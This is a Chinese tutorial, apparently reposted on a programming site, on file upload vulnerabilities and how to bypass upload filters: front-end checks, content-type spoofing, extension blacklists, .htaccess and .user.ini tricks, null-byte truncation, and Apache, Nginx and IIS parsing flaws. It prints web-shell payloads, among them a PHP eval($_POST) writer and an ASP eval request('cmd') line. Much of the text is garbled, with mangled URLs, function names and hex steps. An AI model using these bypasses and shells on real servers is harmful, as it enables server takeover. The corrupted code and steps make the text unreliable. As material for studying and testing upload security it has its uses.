概述
文件上传漏洞
1.造成恶意文件上传的原因
(1)文件上传时检查不严
比如应用在文件上传时根本没有进行文件格式检查,导致攻击者可以直接上传恶意文件.
(2)文件上传后修改文件名时处理不当
一些应用在服务器端进行 了完整的黑名单和白名单过滤,在修改已上传文件文件名时却百密一
流,允许用户修改文件后缀。
(3)使用第三方播件引用时(编辑器漏洞fkeditor)
好多应用都引用了带有文件.上传功能的第3三方插件,这些插件的文件上传功能实现上可能有漏洞,攻击者可通过这些漏洞进行文件上传攻击。
2.文件上传后导致的常见安全问题:
(1)上传文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代码执
行.
(2)上传文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行为(其他通
过类似方式控制策略文件的情况类似);
(3)上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行。
(4)上传文件是钓鱼圈片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被
用于钓鱼和欺诈。
(5)上传文件是WebShell时, 攻击者可通过这些网页后[ ]执行命令并控制服务器。
3.常见存在文件上传功能的地方:
(1)头像(2) 网站logo (3) 友情链接处:可能会可以添加logo
(4)编辑器(5) 后台中的文件管理(6) 模板管理(7) 主题管理
(8)插件管理(9) 水印图片处(10) -些网站的写文章的地方,比如可以上传图片
(11)添加商品(12) 上传简历(13) jQuery-File-Upload
4.文件上传漏洞绕过
●服务器配置不当
●开源编辑器的 上传漏洞
●本地文件 上传限制被绕过
●过滤不严或被绕过
●文件解析漏洞导致文件执行
●文件路径截断 (00截断)
一、文件上传漏洞
(一)没有过滤(任何文件均可上传)
(二)前端限制
等同于没有过滤,前端对黑客来说等同虚设。
(1) F12 点击设置,点击禁止JavaScript执行。
Debogger
(2)把1.php后缀名改成1jpg,然后上传同时burp抓包,burp中修改后缀名为php发包即可。
或包装图片,使图片中包含木马(同文件夹下cmd命令)
●copy 1jpg/b +1.php/a 2jpg
将1.jpg和1.php合成一个文件2jpg
(三)文件类型限制
抓包后更改文件媒体类型修改为:
●Content-Type: image/jpeg
例如:
text/html代表HTML格式
image/gif代表GIF圈片
Image/png代表GIF图片
application/octet-stream二进制流,不知道文件类型(PHP)
application/jison 代表JSON类型
(四)黑名单过滤
根据文件后缀名来判断文件是否允许上传,程序会把不允许上传的文件列到一个小本本里,
一旦发现上传的文件在小本本中就马上制止。
4.1.绕过方法:
(1)畸形后缀名
畸形后缀名绕过原理:
结合upload-labs Less03的源码,以及apache解析规则,可以看出为什么畸形后缀可以解析
●php●php3●php4●php5●php7
pht .phtml● phar●phps
Asp● aspx
●●cdx
asa● asax
jsp●jspa ●jspx
(2) Windows特性
空格、点大小写
1,. 上传shell,php(%80-99)
2. NTFS ADS特性(ADS交换数据流是NTFS磁盘格式的一个特性)
①. . 上传shll.php:$DATA
2.上传testjpg.
③上传1.php<>之类的后缀名,和②类似。
(3)其他方式
1.大小写
2、双写
3.结合Apache解析漏洞(Apache低版本特征)
1jp.php.aaaa从右向左解析
1.p.p.aajpg有多个后缀的情况下, 当文件名中包含有php后缀的文件,就
会被解析成php文件执行。
4. .htaccess
●SetHandler application/x-httpd-php
5. .user.ini
●auto_ prepend. file=22jpg上传user.in和22jpg后再上传的复合图片均可解析为.php
访问: ht://lP/p/oa/.pg/x.php (目录中存在的-个php文件)
(五)白名单过滤
使用白名单限制.上传文件类型,通过检测文件内容判断文件类型,限制上传文件只能为一些无危
害的文件,包括但不限于: jpg. png. bmp. txt. zip. rar. mp3等
绕过方式:
针对白名单,因为我们上次可以解析的文件类型的文件会被拦截,不允许上传。那么我们可以使用绕过手法有:00截断(php 版本<5.3.4)testphp%00jpg
解析漏洞(Apache低版本特征,Windows特性)
●文件包含
条件竞争.上传
Web服务器处理多用户请求时,是并发进行的,如果并发处理不当或者是相关的逻辑操作设计的不合理时,就可能导致条件竞争漏洞。
(先存储文件,再判断是否合法,然后再删除。)
(六) Apache解析漏洞
- Apache解析漏洞成因
由于Apache识别文件的规则是根据后缀名从右往左进行识别,遇到不在识别范围内就会自动忽
略,往左进行识别,如果左边是在解析范围内的就会正常解析,而一般程序进行判断文件是否允许
上传是根据最后的后缀名进行判断的。 - Apache解析漏洞利用条件
Apache解析漏洞只存在于老版本中:
经测试: Apache 2.0 Apache 2.2是存在解析漏洞的
3.实例
如果Apache版本比较者,那么就可以使用如下的方式来绕讨黑名单的檢测。
3.1. .htaccess (分布式配置文件)
.htaccess是Apache的又一特色。-般来说,配置文件的作用范围都是全局的,但Apache提供了一
种很方便的、可作用于当前目录及其子目录的配置文件一.htaccess (分布式配置文件)。
(1) .htaccess (超文本访问)是许多Web服务器根据目录应用设置的有用文件,允许在运行时覆
盖Apache服务器的默认配置.
(2) .taccess是- 一个完整的文件名, 不仅仅是文件的护展名。
如果.htaccess的代码如下:
, <FilesMatch “1.jpg”>
SetHandler aplcatin/-httpd-php //将1jpg当作php文件解析
将1jpg文件解析为php文件
(七) Ngins解析漏洞
对于任意文件名,在后面加上/任意文件名php后该文件就会以php格式进行解析,是用户配置不当造成的
1、00截断/testjpg%00.php
Nginx版本: 0.5… 0.6, 0.7 <= 0.7.65,0.8 <= 0.8.37
需要很者的版本才可以,00截断也和php版本有关系。(php 版本<5.3.4) - CVE-2013-4547
Nginx版本: 0.8.41~1.4.3, 1.5 <= 1.5.7
使用方法: (20 空格00截斷2e .)
(1)上传文件名如: 1jpg空格
(2)访问例如: 1.jpg.php
(3)访问的时候抓包,修改后缀为1jp][2x201]0x00][0x2elphp (使用burp修改, 调整hex即可)
●(4) 修改后进行访问就会发现pg图片会被当做php解析
(八) .user.ini说过
.userini实际.上就是一个可以由用户 “自定义"的php.ini, 我们能够自定义的设置是模
为“PHP INI PERDIR、PHP INI USER"的设置。
使用条件:
(1)服务器脚本语言为PHP服务器使用CGI / FastCGI模式
(2)上传目录下要有可执行的php文件
例如: PHP study中使用nginx中间件的时候就可以进行实验。
使用方式:
●
(1)上传-张图片
(2).上传.user.ni文件。内容为:
auto_ prepend. file=2.png (这- -句即可)指定一一个文件, 自动包含在要执行的文件前
(3)访问: ht://up/oad/2/ png/xx_php (目录中存在的-个php文件)
(九) 1I解析漏洞 - I 5.x-6.x
(1)目录解析
www. xx.com/xx.asp/xxig
(2)文件解析
- ww.xx.com/xx.aspjpg
- I 7.0-7.5
●Upload/1.jpg/*.php
我们把下面的代码,插入到一张图片中。
●<?php flus(tepens'el.p,"," <?php @eval($_ POST[x)?>’ )?>
那么,访问xx.x/upload/.jpg/.php.就会在当前目录生成-个木马
:$SDATA
fput:向指定的文件写入-一个字符串
fopen:以什么样的权限去打开文件
fputs:向指定的文件写入一个字符串
(2) . Apache解析漏洞
1.php.jpg.aaa从右向左解析
1.1.php.jpg.aajpg
有多个后缀的情况下,当文件名
(3) htaccess文件
●SetHandler aplcation/x-httpd-php
auto prepend. file=2.png
<%eval request"cmd)%>
最后
以上就是明亮日记本为你收集整理的文件上传漏洞的全部内容,希望文章能够帮你解决文件上传漏洞所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复